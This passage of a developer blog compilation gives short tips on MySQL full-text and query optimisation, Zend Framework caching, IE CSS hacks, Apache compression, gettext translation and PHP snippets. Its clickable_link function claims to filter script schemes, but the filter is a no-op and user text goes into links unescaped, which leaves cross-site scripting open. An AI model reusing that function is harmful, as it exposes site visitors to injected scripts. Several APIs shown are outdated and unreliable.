underline;\">Category</span>:   Project Learnings\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\nMySQL can perform boolean full-text searches using the IN BOOLEAN MODE modifier. With this modifier, certain characters have special meaning at the beginning or end of words in the search string. In the following query, the + and - operators indicate that a word is required to be present or absent, respectively, for a match to occur. Thus, the query retrieves all the rows that contain the word “test” but that do <i>not</i> contain the word “event”:\n\n<b>SELECT * FROM events WHERE MATCH (event_title)</b> <b>AGAINST (\'+Test -Event\' IN BOOLEAN MODE);</b>\n\n<b> </b>\n\nNote:\n\nIn implementing this feature, MySQL uses what is sometimes referred to as <i>implied Boolean logic</i>, in which\n<ul>\n	<li>+ stands for AND</li>\n	<li>- stands for NOT</li>\n	<li>[<i>no operator</i>] implies OR</li>\n</ul>\n&nbsp;\n\n&nbsp;\n\nBoolean full-text searches have these characteristics:\n<ul>\n	<li>They do not use the 50% threshold.</li>\n	<li>They do not automatically sort rows in order of decreasing relevance. You can see this from the preceding query result: The row with the highest relevance is the one that contains “MySQL” twice, but it is listed last, not first.</li>\n	<li>They can work even without a FULLTEXT index, although a search executed in this fashion would be quite slow.</li>\n	<li>The minimum and maximum word length full-text parameters apply.</li>\n	<li>The stopword list applies.</li>\n</ul>\nThe boolean full-text search capability supports the following operators:\n<ul>\n	<li>+</li>\n</ul>\nA leading plus sign indicates that this word <i>must</i> be present in each row that is returned.\n<ul>\n	<li>-</li>\n</ul>\nA leading minus sign indicates that this word must <i>not</i> be present in any of the rows that are returned.\n\nNote: The - operator acts only to exclude rows that are otherwise matched by other search terms. Thus, a boolean-mode search that contains only terms preceded by - returns an empty result. It does not return “all rows except those containing any of the excluded terms.”\n<ul>\n	<li>(no operator)</li>\n</ul>\nBy default (when neither + nor - is specified) the word is optional, but the rows that contain it are rated higher. This mimics the behavior of <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html#function_match\">MATCH() ... AGAINST()</a> without the IN BOOLEAN MODE modifier.\n<ul>\n	<li>&gt; &lt;</li>\n</ul>\nThese two operators are used to change a word\'s contribution to the relevance value that is assigned to a row. The &gt; operator increases the contribution and the &lt; operator decreases it. See the example following this list.\n<ul>\n	<li>( )</li>\n</ul>\nParentheses group words into subexpressions. Parenthesized groups can be nested.\n<ul>\n	<li>~</li>\n</ul>\nA leading tilde acts as a negation operator, causing the word\'s contribution to the row\'s relevance to be negative. This is useful for marking “noise” words. A row containing such a word is rated lower than others, but is not excluded altogether, as it would be with the - operator.\n<ul>\n	<li>*</li>\n</ul>\nThe asterisk serves as the truncation (or wildcard) operator. Unlike the other operators, it should be <i>appended</i> to the word to be affected. Words match if they begin with the word preceding the * operator.\n\nIf a word is specified with the truncation operator, it is not stripped from a boolean query, even if it is too short (as determined from the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len</a> setting) or a stopword. This occurs because the word is not seen as too short or a stopword, but as a prefix that must be present in the document in the form of a word that begins with the prefix. Suppose that <a href=\"http://dev.mysql.com/doc/refman/5.0/en/server-system-variables.html#sysvar_ft_min_word_len\">ft_min_word_len=4</a>. ft_min_word_len=4. Then a search for \'+<i>word</i> +the*\' will likely return fewer rows than a search for \'+<i>word</i> +the\':\n\no        The former query remains as is and requires both <i>word</i> and the* (a word starting with the) to be present in the document.\n\no        The latter query is transformed to +<i>word</i> (requiring only <i>word</i> to be present). the is both too short and a stopword, and either condition is enough to cause it to be ignored.\n<ul>\n	<li>\"</li>\n</ul>\nA phrase that is enclosed within double quote (“\"”) characters matches only rows that contain the phrase <i>literally, as it was typed</i>. The full-text engine splits the phrase into words and performs a search in the FULLTEXT index for the words. Prior to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include nonword characters in the phrase. As of MySQL 5.0.3, nonword characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before.\n\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty.\n\nThe following examples demonstrate some search strings that use boolean full-text operators:\n<ul>\n	<li>\'apple banana\'</li>\n</ul>\nFind rows that contain at least one of the two words.\n<ul>\n	<li>\'+apple +juice\'</li>\n</ul>\nFind rows that contain both words.\n<ul>\n	<li>\'+apple macintosh\'</li>\n</ul>\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”.\n<ul>\n	<li>\'+apple -macintosh\'</li>\n</ul>\nFind rows that contain the word “apple” but not “macintosh”.\n<ul>\n	<li>\'+apple ~macintosh\'</li>\n</ul>\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all.\n<ul>\n	<li>\'+apple +(&gt;turnover &lt;strudel)\'</li>\n</ul>\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”.\n<ul>\n	<li>\'apple*\'</li>\n</ul>\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”.\n<ul>\n	<li>\'\"some words\"\'</li>\n</ul>\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the “\"” characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotation marks that enclose the search string itself.\n\n&nbsp;\n\n<span style=\"text-decoration: underline;\">25.</span>  <span style=\"text-decoration: underline;\">Blog25:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Check your website loads and performance with HttpWatch\n\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\nHttpWatch integrates with Internet Explorer and Firefox browsers to show you exactly what HTTP traffic is triggered when you access a web page. If you access a site that uses secure HTTPS connections, HttpWatch automatically displays the decrypted form of the network traffic.\n\nReference Site : <a href=\"http://www.httpwatch.com/features.htm\" target=\"_blank\">http://www.httpwatch.com/features.htm</a>\n\n&nbsp;\n\n<span style=\"text-decoration: underline;\">26.</span>  <span style=\"text-decoration: underline;\">Blog26:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  The Power Of ZOOM - Fixing CSS Issues In Internet Explorer\n\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\nI think we\'ve all experienced how frustrating it can be to do cross-browser testing with CSS-based web sites. Why is it that Internet Explorer (IE) never seems to play nicely with good, solid CSS markup?!? Anyway, I just thought I\'d share one technique that I\'ve found to be extremely helpful. When I have some CSS that just won\'t work in IE, I see if adding a ZOOM property of 1 (one) will help.\n\ndiv {\n\nzoom:1;\n\n}\n\nI have to say, 90% of the time, this fixes the display issues that I am having in IE... and, it does so without adversely affecting any of the other browsers (that I have tested). I guess you could call this an IE-hack since I believe the zoom property is only supported by Internet Explorer.\n\nI am not exactly sure why this works, but it has something to do with what you are trying to accomplish and the concept of an element having a \"layout\". In IE, some elements have a \"hasLayout\" property that is true by default. This is required for many visual settings; for example, an alpha filter only works on an element that hasLayout. So, why does {Zoom:1} work? It gives the target elements the hasLayout property.\n\nThere\'s a bunch of other things you can do to fix rendering issues in IE, but I have found {zoom:1} to be the lowest hanging fruit.\n\nReference Site : <a href=\"http://www.satzansatz.de/cssd/onhavinglayout.html\" target=\"_blank\">http://www.satzansatz.de/cssd/onhavinglayout.html</a>\n\n<span style=\"text-decoration: underline;\">27.</span>  <span style=\"text-decoration: underline;\">Blog27:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql query optimizations in where clause\n\n<span style=\"text-decoration: underline;\">Category</span> :Project Learnings\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\nThese are things we need to remember while writing the queries .\n\n·         Removal of unnecessary parentheses:\n\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\n<ul>\n	<li>  Constant folding:</li>\n</ul>\n(a&lt;b AND b=c) AND a=5\n-&gt; b&gt;5 AND b=c AND a=5\n<ul>\n	<li> Constant condition removal (needed because of constant folding):</li>\n</ul>\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\n-&gt; B=5 OR B=6\n<ul>\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\n</ul>\no    An empty table or a table with one row.\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\nAll of the following tables are used as constant tables:\nSELECT * FROM t WHERE primary_key=1;\nSELECT * FROM t1,t2\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\n<ul>\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\n</ul>\n&nbsp;\n\n<span style=\"text-decoration: underline;\">28.</span>  <span style=\"text-decoration: underline;\">Blog28:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Optimize tables and database in MySQL automatically with PHP\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<strong>Optimize Mysql Database Table:</strong>\n\nThe Following Command will show the present status of the Database Table\n<pre>show table status like \'mytablename\';</pre>\n<pre></pre>\n<pre>The following command will optimize the Database Table</pre>\n<pre></pre>\n<pre>optimize table mytablename;</pre>\n<pre></pre>\n<pre><strong>Optimize Database in MySQL automatically with PHP  </strong></pre>\n<pre></pre>\n<pre>The Following Script Will Optimize the entire database.</pre>\n<pre>We don\'t have the direct command to optimize the entire database.<strong> </strong></pre>\n<pre></pre>\n<pre></pre>\n<pre>$res = mysql_query(\'SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400\');</pre>\n<pre>while($row = mysql_fetch_assoc($res)) {</pre>\n<pre>  mysql_query(\'OPTIMIZE TABLE \' . $row[\'Name\']);</pre>\n<pre>}</pre>\n<pre><strong>    Step1:   </strong>SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400</pre>\n<pre>             In this step we will get the tables</pre>\n<pre><strong>    Step2:</strong>   It will optimize the each and every table individually</pre>\n<pre></pre>\n\n<span style=\"text-decoration: underline;\">29.</span>  <span style=\"text-decoration: underline;\">Blog29:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Framework Performance Optimization\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\n<b>                   </b><b>Zend Framework Performance Optimization</b>\n\n<b> </b>\n\n<b>What is Application Performance</b>\n\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\n\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\n\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\n\n&nbsp;\n\n<b>Why Zend Framework</b>\n\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\n\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\n\n&nbsp;\n\n<b>Zend Framework performance optimization</b>\n\nThe following are the few ways to optimize your Zend Framework.\n\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\n\n&nbsp;\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));$paths = array(\n\nAPPLICATION_PATH . \'/../library\'),\n\n\'.\',\n\n);\n\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\n\n&nbsp;\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';Zend_Loader_Autoloader::getInstance();</td>\n</tr>\n</tbody>\n</table>\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">% cd path/to/ZendFramework/library% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\n</tr>\n</tbody>\n</table>\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\'File\',\n\n$frontendOptions,\n\n$backendOptions);\n\nZend_Translate::setCache($cache);\n\n$translate = new Zend_Translate(\n\narray(\n\n\'adapter\' =&gt; \'gettext\',\n\n\'content\' =&gt; \'/path/to/translate.mo\',\n\n\'locale\'  =&gt; \'en\'\n\n)\n\n);\n\n// to clear the cache somewhere later in your code\n\nZend_Translate::clearCache();</td>\n</tr>\n</tbody>\n</table>\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\'automatic_serialization\' =&gt; true\n\n);\n\n$backendOptions = array(\n\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\n\n);\n\n// getting a Zend_Cache_Core object\n\n$cache = Zend_Cache::factory(\'Core\',\n\n\'File\',\n\n$frontendOptions,\n\n$backendOptions);\n\nBy using the above code you can initialized the cache\n\n// see if a cache already exists:\n\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\n\n&nbsp;\n\n// cache miss; connect to the database\n\n//Write code to fetch the db results\n\n} else {\n\n// cache hit! shout so that we know\n\necho \"This one is from cache!\\n\\n\";\n\n&nbsp;\n\n}\n\n&nbsp;\n\nprint_r($result);\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n<b> </b>\n\n<b>Opcode caching</b>\n\n<b> </b>\n\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\n\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\n\nThough you optimized your Zend Framework you need to cache your php script.\n\n&nbsp;\n\nThere are many options available, in those I am using apc to cache my opcodes.\n\nThe below code is used to cache the php code in to opcodes.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {echo \"ERROR: apc_compile_file does not exist!\";\n\nexit(1);\n\n}\n\n&nbsp;\n\n&nbsp;\n\n/**\n\n* Compile Files for APC\n\n* The function runs through each directory and\n\n* compiles each *.php file through apc_compile_file\n\n*/\n\nfunction compilefilesToApc($dir)\n\n{\n\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\n\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\n\nwhile(list(,$v) = each($dirs)) {\n\ncompilefilesToApc($v);\n\n}\n\n}\n\n&nbsp;\n\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\n\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\n\nwhile(list(,$v) = each($files))\n\n{\n\napc_compile_file($v);\n\n}\n\n}\n\n}\n\n&nbsp;\n\ncompilefilesToApc(\'/path/to/dir\');\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n<pre></pre>\n\n<span style=\"text-decoration: underline;\">30.</span>  <span style=\"text-decoration: underline;\">Blog30:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Making text as hot links\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\n&nbsp;\n\nA lot of times we upload or post description to the site using textareas. If  that text contains any urls then the below code will convert  them as hot links while displaying to the user.\n\nThis will not only convert the urls but also recognize emails and add a mailto tag to them.\n\nfunction clickable_link($text,$anchor_class=\'\')\n{\n$text = preg_replace(\'#(script|about|applet|activex|chrome):#is\', \"\\\\1:\", $text);\n// pad it with a space so we can match things at the start of the 1st line.\n$ret = \' \' . $text;\n\n//this will remove the id=\" | id=\' from the text which will eliminate classes and scripts\n$ret = preg_replace(\"#(\\id[\\s]{0,1}=\\\"[^\\\"]*\\\"|\\id[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\\\"[^\\\"]*\\\")#i\", \" \", $ret);\n\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([\\w]+?://[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\n\n// matches a \"www|ftp.xxxx.yyyy[/zzzz]\" kinda lazy URL thing\n// Must contain at least 2 dots. xxxx contains either alphanum, or \"-\"\n// zzzz is optional.. will contain everything up to the first space, newline,\n// comma, double quote or &lt;.\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])((www|ftp)\\.[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"http://\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\n\n// matches an email@domain type address at the start of a line, or after a space.\n// Note: Only the followed chars are valid; alphanums, \"-\", \"_\" and or \".\".\n\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([a-zA-Z]{1})([a-z0-9&amp;\\-_.]+?)@([\\w\\-]+\\.([\\w\\-\\.]+\\.)*[\\w]+)#i\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"mailto:\\\\2\\\\3@\\\\4\\\"&gt;\\\\2\\\\3@\\\\4&lt;/a&gt;\", $ret);\n\n//remove starting space that we added\n$ret = substr($ret, 1);\n\nreturn $ret;\n}\n\n<span style=\"text-decoration: underline;\">31.</span>  <span style=\"text-decoration: underline;\">Blog31:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Fetching Facebook, twitter button values in php\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\nTo get Facebook likes, share, comments\n\n$source_url = \"http://www.flightpodcast.com/episode-6-john-bartels-qantas-qf30\";\n$url = \"http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=\".urlencode($source_url);\n$xml = file_get_contents($url);\n$xml = simplexml_load_string($xml);\necho \"&lt;b&gt;Shares:&lt;/b&gt; \".$shares = $xml-&gt;link_stat-&gt;share_count;\necho \"&lt;b&gt;Likes:&lt;/b&gt; \".$likes = $xml-&gt;link_stat-&gt;like_count;\necho \"&lt;b&gt;Comments:&lt;/b&gt; \".$comments = $xml-&gt;link_stat-&gt;comment_count;\necho \"&lt;b&gt;Total:&lt;/b&gt; \".$total = $xml-&gt;link_stat-&gt;total_count;\nTo get Twitter retweets\n\n$url = urlencode($url);\n$twitterEndpoint = \"http://urls.api.twitter.com/1/urls/count.json?url=%s\";\n$fileData = file_get_contents(sprintf($twitterEndpoint, $url));\n$json = json_decode($fileData, true);\nunset($fileData);// free memory\necho $json[\'count\'];\n\n<span style=\"text-decoration: underline;\">32.</span>  <span style=\"text-decoration: underline;\">Blog32:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Getting a full Article from HTML page or RSS feed\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\n\nDownload the code form zip file pass URL for getting the article.\n\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\n\n&nbsp;\n\nNote: This code work for 90% HTML and RSS feed.\n\n&nbsp;\n\n<span style=\"text-decoration: underline;\">33.</span>  <span style=\"text-decoration: underline;\">Blog33:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Executing PHP code on my existing yourpage.html page\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\n\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\n\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\n\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf file:\n<b>\n<strong>AddType application/x-httpd-php .html</strong></b>\n\n<strong>AddType application/x-httpd-php .htm</strong>\n\n<span style=\"text-decoration: underline;\">34.</span>  <span style=\"text-decoration: underline;\">Blog34:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Compressing Web content can produce a much faster site for users.\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\nReducing costs is a key consideration for every IT budget. One of the items looked at most closely is the cost of a company\'s bandwidth. Using content compression on a Web site is one way to reduce both bandwidth needs and cost. With that in mind, this article examines some of the compression modules available for Apache, specifically, mod_gzip for Apache 1.3.x and 2.0.x and mod_deflate for Apache 2.0.x.\n\nContent Compression Basics\n\nMost compression algorithms, when applied to a plain-text file, can reduce its size by 70% or more, depending on the content in the file. When using compression algorithms, the difference between standard and maximum compression levels is small, especially when you consider the extra CPU time necessary to process these extra compression passes. This is quite important when dynamically compressing Web content. Most software content compression techniques use a compression level of 6 (out of 9 levels) to conserve CPU cycles. The file size difference between level 6 and level 9 is usually so small as to be not worth the extra time involved.\n\nCompression in HTTP\n\nFor files identified as text/.* MIME types, compression can be applied to the file prior to placing it on the wire. This simultaneously reduces the number of bytes transferred and improves performance. Testing also has shown that Microsoft Office, StarOffice/OpenOffice and PostScipt files can be GZIP-encoded for transport by the compression modules.\n\nSome important MIME types that cannot be GZIP encoded are external JavaScript files, PDF files and image files. The problem with Javascript files mainly is due to bugs in browser software, as these files are really text files and overall performance would benefit by being compressed for transport. PDF and image files already are compressed, and attempting to compress them again simply makes them larger and leads to potential rendering issues with browsers.\n\nPrior to sending a compressed file to a client, it is vital that the server ensures the client receiving the data correctly understands and renders the compressed format. Browsers that understand compressed content send a variation of the following client request headers:\n<ul>\n	<li>Accept-encoding: gzip</li>\n	<li>Accept-encoding: gzip, deflate</li>\n</ul>\nCurrent major browsers include some variation of this message with every request they send. If the server sees the header and chooses to provide compressed content, it should respond with the server response header:\n\nContent-encoding: gzip\n\nThis header tells the receiving browser to decompress the content and parse it as it normally would. Alternatively, content may be passed to the appropriate helper application, based on the value of the Content-type header.\n\nThe file size benefits of compressing content can be seen easily by looking at example below for HTML file (<b>homepage.html</b>) (Table 1).\n\n<b>Table 1. /compress/homepage.html</b>\n<table border=\"1\" cellpadding=\"0\">\n<thead>\n<tr>\n<td>\n<p align=\"center\"><b>Compression</b></p>\n</td>\n<td>\n<p align=\"center\"><b>Size</b></p>\n</td>\n<td>\n<p align=\"center\"><b>Compression %</b></p>\n</td>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>No compression</td>\n<td>56,380 bytes</td>\n<td>n/a</td>\n</tr>\n<tr>\n<td>Apache 1.3.x/mod_gzip</td>\n<td>16,333 bytes</td>\n<td>29% of original</td>\n</tr>\n<tr>\n<td>Apache 2.0.x/mod_deflate</td>\n<td>19,898 bytes</td>\n<td>35% of original</td>\n</tr>\n<tr>\n<td>Apache 2.0.x/mod_deflate [2]</td>\n<td>16,337 bytes</td>\n<td>29% of original</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\nPlease find the more details on how to setup mod_deflate and mod_gzip <a href=\"http://www.linuxjournal.com/article/6802?page=0,1\" target=\"_blank\">here</a>\n\n<span style=\"text-decoration: underline;\">35.</span>  <span style=\"text-decoration: underline;\">Blog35:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Website displayed in multi language\n\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\n\n<b>Below are the steps on how it is done</b>\n\nCreate a .po file\n\nUsing the poEdit tool you can parse the .po file to create the .mo file\n\nIn the .po file you need to mention the id and the value\n\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\n\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\n\n<span style=\"text-decoration: underline;\">Value in English </span>\n\nmsgid \"label_please_enter_first_name\"\n\nmsgstr \"Please enter first name\"\n\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\n\nmsgid \"label_please_enter_first_name\"\n\nmsgstr \"Пожалуйста, введите имя\"\n\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\n\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\n\n${php: this.translate(label_please_enter_first_name \')}\n\nIn ideamine 7 we have created two .po files , one for English and one for Russian\n\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\n\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\n\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.\n\n<span style=\"text-decoration: underline;\">36.</span>  <span style=\"text-decoration: underline;\">Blog36:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\n<span style=\"text-decoration: underline;\">Header</span>:  Awesome things to do with cURL\n\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\n\n<span style=\"text-decoration: underline;\">Summary:</span>\n\n<span style=\"text-decoration: underline;\"> </span>\n\ncURL, and its PHP extension libcURL, are tools which can be used to simulate a web browser. In fact, it can for example, submit forms.\n\n&nbsp;\n\n<b>1 – Update your Facebook status</b>\n\nWanna update your facebook status, but don’t want to go to facebook.com, login, and finally being able to update your status? Simply save the following code on your server, define the variables, and voilÃ !\n\n&lt;?PHP\n\n/*******************************\n\n*       Facebook Status Updater\n\n*       Christian Flickinger\n\n*       http://nexdot.net/blog\n\n*       April 20, 2007\n\n*******************************/\n\n&nbsp;\n\n$status = \'YOUR_STATUS\';\n\n$first_name = 